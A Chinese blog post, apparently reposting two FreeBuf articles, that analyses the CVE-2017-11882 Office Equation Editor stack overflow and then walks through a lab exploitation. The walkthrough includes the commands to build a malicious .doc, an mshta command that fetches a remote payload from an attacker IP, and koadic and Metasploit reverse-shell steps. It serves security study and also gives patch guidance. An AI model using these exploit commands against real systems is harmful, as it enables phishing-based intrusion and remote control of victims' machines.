CVE-2017-11882 潜伏17年的微软Office远程代码执行漏洞分析与利用

0
Want create site? Find Free WordPress Themes and plugins.

从上面这张图可以很容易地看到CVE-2017-11882的威力有多大~(笑)

最近居正的邮箱常常受到一些神秘的邮件,这些邮件通常在一大堆铺垫之后在下面附上一个doc文档让我下载:

其实这些基本都是利用最近爆出office漏洞的诈骗邮件。只要用户下载打开了附件,而office又没有即使打补丁,就会中毒!

本文给大家带来两篇freebuf的文章,分别是此漏洞的分析与利用,供各位学习参考。首先是分析(对逆向工程不感兴趣的直接跳到下面看利用~)

 


隐藏17年的Office远程代码执行漏洞POC样本分析(CVE-2017-11882)

(http://www.freebuf.com/vuls/154462.html)

2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。

由于漏洞影响面较广,漏洞披露后,金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日,监控到了已有漏洞POC在网上流传,随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。

漏洞影响版本:

Office 365

Microsoft Office 2000

Microsoft Office 2003

Microsoft Office 2007 Service Pack 3

Microsoft Office 2010 Service Pack 2

Microsoft Office 2013 Service Pack 1

Microsoft Office 2016

漏洞事件分析:

漏洞出现在模块EQNEDT32.EXE中,该模块为公式编辑器,在Office的安装过程中被默认安装。该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。

Microsoft 公式编辑器

图 1 – Microsoft 公式编辑器

当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于WINWORD.EXE, EXCEL.EXE等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。

由于该模块对于输入的公式未作正确的处理,攻击者可以通过刻意构造的数据内容覆盖掉栈上的函数地址,从而劫持程序流程,在登录用户的上下文环境中执行任意命令。

CVE-2017-11882 POC中所执行的命令

图 2 – CVE-2017-11882 POC中所执行的命令

国外安全厂商0patch对修补前后的相应补丁进行了对比,发现更新补丁后的程序版本是使用汇编方式进行修补的,并据此推测由于年代久远,微软或已丢失相关程序的源代码。再者,当时(2000年)的编译器所编译的程序并不包含ASLR等漏洞缓解措施,因此该模块必将吸引更多黑客对其进行漏洞挖掘。为安全起见,强烈建议用户取消对该模块的注册,解决方案请参考文章结尾部分。

CVE-2017-11882 POC中所执行的命令

图 3 公式编辑器使用较低版本编译器编写(VisualC++ 3~4版)

EQNEDT32.exe未见任何漏洞环节措施

图 4 – EQNEDT32.exe未见任何漏洞环节措施

漏洞分析:

(1)基本信息

截止分析报告撰写时,只发现了RTF类型的CVE-2017-11882漏洞利用文档。触发漏洞的OLE对象加载方式与今年上半年的CVE-2017-0199漏洞类似,使用了\objupdate控制字来保证OLE对象的自动更新和加载。

RTF标准文档中对\objupdate控制字的说明

图 5 – RTF标准文档中对\objupdate控制字的说明

该OLE对象的类型为“Equation.3”,即公式编辑器3.0类型对象,该公式对象使用了CFB格式进行存储。

 漏洞文档中的OLE数据头

图 6 – 漏洞文档中的OLE数据头

对该OLE对象进行提取和分析,可以发现公式的相关内容存放在\x01CompObj流之后。

公式对象

图 7 – 公式对象

(2)详细分析

公式的内容使用了一种名为MTEF v.3的二进制格式进行存储。该格式的头部为28(0x1C)个字节,定义如下:

struct EQNOLEFILEHDR {

WORD    cbHdr;      // 格式头长度,固定为0x1C

DWORD   version;    // 固定为0x00020000

WORD    cf;          // 该公式对象的剪贴板格式。

DWORD   cbObject;  // MTEF数据的长度,不包括头部。

DWORD   reserved1; // 未公开

DWORD   reserved2; // 未公开

DWORD   reserved3; // 未公开

DWORD   reserved4; // 未公开

};

在漏洞利用文档中,该结构如下所示。

公式头结构

图 8 – 公式头结构

对上图的解析如下表所示。

偏移量 变量名 说明
0-1 cbHdr 公式头大小 0x001C
2-5 version 版本号 0×00020000
6-7 cf 剪贴板格式 0xC3BE
8-11 cbObject MTEF数据长度 0×45,即69字节
12-15 reserved1 未公开 0×00000000
16-19 reserved2 未公开 0×00682428
20-23 reserved3 未公开 0x0069A87C
24-27 reserved4 未公开 0×00000000

紧随该公式头结构的数据为公式数据。公式数据使用字节流进行存储。

公式数据

图 9 – 公式数据

MTEF v.3公式数据中,前5个字节为数据头,解析如下表所示。

偏移量 说明
0 MTEF版本号 0×03
1 该数据的生成平台 0×00表示在Macintosh平台生成,0×01表示在Windows平台生成。此处为0×01。
2 该数据的生成产品 0×00表示由MathType生成,0×01表示由公式编辑器生成。此处为0×01。
3 产品主版本号 0×03
4 产品副版本号 0x0A

在数据头之后的字节流即为公式数据。

数据0x0A所对应的数据类型为SIZE,只占用一个字节。

数据0×08所对应的数据类型为FONT,文档中数据的解析如下表所示。

数值 解释
0×08 FONT记录标志
0×02 typeface类型
0×81 字体风格
0x636D642E…… 字体名(以空字符结尾),即图9中的cmd.exe…字符串

 漏洞代码

图 10 – 漏洞代码

通过对下面的两张图进行对比,可以明白栈溢出的触发过程。

被覆盖前的栈数据

图 11 – 被覆盖前的栈数据

被覆盖后的栈数据

图 12 – 被覆盖后的栈数据

被修改后的函数调用如下图所示,在前文中已经提到,该公式编辑器并没有开启ASLR。这个硬编码的地址0x00430C12对应于对函数WinExec的调用。因而该字体名对应的命令得以执行。

隐藏17年的Office远程代码执行漏洞POC样本分析(CVE-2017-11882)

解决方案:

1、微软已经对此漏洞做出了修复。

(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882  更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

2、由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册。

l  按下Win+R组合键,打开cmd.exe

l  输入以下两条命令:

reg add  “HKLM\SOFTWARE\Microsoft\Office\Common\COM  Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v  “Compatibility  Flags”  /t  REG_DWORD /d  0x400

reg add  “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM  Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v  “Compatibility  Flags”  /t  REG_DWORD /d  0x400

 


CVE-2017-11882漏洞复现和利用

(http://www.freebuf.com/vuls/154978.html)

0×01前言

2017年11月14日微软发布了潜伏17年之久的office远程代码执行漏洞(cve-2017-11882)。该漏洞为office内存破坏漏洞,影响目前流行的office版本。

网上的利用方法比较乱,在这儿我将各种方法总结一下。顺便在这儿感谢乱舞大大以及他的团队,信安之路

0×02 漏洞复现

测试环境:win7+kali+office 2007 xp+kali+office 2003

win7 ip:10.10.1.144 xp ip: 10.10.1.126 kali ip 10.10.1.67

一. 简单测试弹出计算器(xp)

1.在kali下执行生成一个含有恶意代码的doc进行测试:

工具地址:https://github.com/Ridter/CVE-2017-11882/

PythonCommand109b_CVE-2017-11882 -c “cmd.exe /c calc.exe” -o test.doc

这条指令的意思是调用cmd并执行calc.exe(即计算器)1.png

2.在靶机上打开就会弹出计算器:

2.png

二. 通过koadic漏洞复现(xp)

1.下载koadic并启用

https://github.com/backlion/koadic.git

2.执行./koadice

3.png

首先看一下koadic怎么用直接

4.png

3.接下来设置shell的接受地址以及端口

Set lhost 10.10.1.67

Set lport 55555

Run

5.png

这儿需要注意的是生成的网址需要记住,以方便后面应用

接下来通过poc生成一个含有恶意代码的doc文件

python Command109b_CVE-2017-11882.py -c “mshtahttp://10.10.1.67:55555/Ly348” -o exploit.doc

6.png

接下来在目标主机打开钓鱼文档

切回koadic则发现发生变化

7.png

这个时候说明入侵成功并已经反弹shell

接下来在koadic执行zombies 0 切换到项目

8.png

接下来用cmdshell模块

输入 cmdshell 0

10.png

这就已经进去cmd了接下来可以愉快的玩耍了

11.png12.png

三. 通过msf的ps_shell模块 漏洞复现(win7)

1.启动msf

13.png

2.查找对应的模块 search PS_shell

14.png

15.png

3.利用msf生成利用的powershell脚本

15.png

16.png17.png18.png19.png

提示一点 在这儿的Command109b_CVE-2017-11882是109字节限制的 当然也有43字节的

1.接接下来在靶机打开测试文档就好

2.切换回kali 会出现

20.png

说明已经建立链接了

接下来输入sessions -i 查看一下

21.png

接下来切换进入

22.png

这个时候就已经入侵到靶机了。

23.png

四. 通过hta_server模块复现(xin7)

1.在msf搜索hta_server模块

24.png

2.进行设置

25.png

26.png

27.png

3.在kali上生成带有恶意命令的doc

28.png

4.在靶机上打开test.doc文档 切换回kal

 

29.png

30.png

(之后的过程就和之前一样了,就不多啰嗦了)。

(ps:后两种是利用了powershell,所以在win7下测试的)

0×03漏洞影响

<span style="color: rgb(102, 102, 102); font-size: 10pt;">Office365</span>

MicrosoftOffice 2000

MicrosoftOffice 2003

MicrosoftOffice 2007 Service Pack 3

MicrosoftOffice 2010 Service Pack 2

MicrosoftOffice 2013 Service Pack 1

MicrosoftOffice 2016

0×04漏洞修复建议

修复补丁:[<span style="color: rgb(65, 131, 196); font-size: 10pt;"><u>https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882</u></span>](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882)
Did you find apk for android? You can find new Free Android Games and apps.

关于作者

居正

大道至简

发表评论